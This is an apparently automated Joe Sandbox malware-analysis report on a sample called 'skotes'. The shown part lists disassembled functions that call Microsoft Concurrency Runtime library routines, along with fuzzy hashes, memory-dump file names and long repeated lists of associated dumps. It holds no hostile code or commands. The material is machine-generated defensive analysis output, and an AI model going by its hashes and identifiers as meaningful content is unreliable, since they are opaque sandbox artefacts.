Opcode Fuzzy Hash: dfa13aa238ce7f42eba6f0fa1e9763f6756309a9d7c7d72c3219bc6e4edb3ea6
Instruction Fuzzy Hash: 57F09EF370D164EC019231A702C12BA7F47B9432B07390476F8039FD53E2492991F6A2

Function 04C10CAF Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3394827188.0000000004C10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4c10000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d3302ac4b11b408671bb00b2f5e725d916fb9b798ef17ba9a34c8bbb890d5fb
Instruction ID: eb4c8c70144a6835a990e0c1f1b02b7c891ac613474984ab2bba238c99c02fa7
Opcode Fuzzy Hash: 4d3302ac4b11b408671bb00b2f5e725d916fb9b798ef17ba9a34c8bbb890d5fb
Instruction Fuzzy Hash: 76F0DC72A4C3E8CFC3A0B6B701192BD7FA37A13030B28006FD8824B853E6012449F210

Non-executed Functions

Function 00EC0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00EC0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00EC0F62

Part of subcall function 00EC265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00EC2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00EC0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00EC0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00EC103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00EC106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00EC10C1

Strings

(, xrefs: 00EC0F22

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 9c5cd827f5796b0ff07fdfc7a59faa82e91c3c02249ca4f94f4ea427b2085dc9
Instruction ID: dd8804feb00742c5c8c6c8fad95bdaa0142fe175d2bbc88ba3396aa779bfd677
Opcode Fuzzy Hash: 9c5cd827f5796b0ff07fdfc7a59faa82e91c3c02249ca4f94f4ea427b2085dc9
Instruction Fuzzy Hash: 31B16CB0A00615EFDB28CF68DA91B7AB7B5FF45704F14516DE905AB281D331AD82CB90

Function 00EC1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00EC2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00EC1614

Part of subcall function 00EC2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00EC2E39
Part of subcall function 00EC2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00EC2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00EC1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00EC17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00EC17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00EC17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00EC180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00EC181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00EC1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00EC183B

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 3b3cc6b80f787bcd6322ef69c6f10c9cc9d76c7c0f60e7be4349e1f2315626ce
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: ED817971E002259FCB19CFA8C680A6DB7F1FF4A304B1552AEE445BB702C732AD52CB84

Function 00ECEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00ECEC81

Part of subcall function 00EC8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00EC8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00ECECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00ECECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00ECED0C

Part of subcall function 00ECE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00ECE7D7
Part of subcall function 00ECE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00ECE86F
Part of subcall function 00ECE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00ECE879
Part of subcall function 00ECE7AF: Concurrency::location::_Assign.LIBCMT ref: 00ECE8AD
Part of subcall function 00ECE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00ECE8B5

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 94450522f427506f66d47f203fd22401565e2ec0c5b1b40bd0ec65f25cd37484
Instruction ID: 9d1284504cf5d850210db1cd5d9626184b257f0d1878be6b93c59b7998ae45c1
Opcode Fuzzy Hash: 94450522f427506f66d47f203fd22401565e2ec0c5b1b40bd0ec65f25cd37484
Instruction Fuzzy Hash: 9B519431A002059FDF14DF60C995FAEBB75AF44314F1850ADE9067B392CB72AE06CBA1

Function 00EBCB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00EBCBAA

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
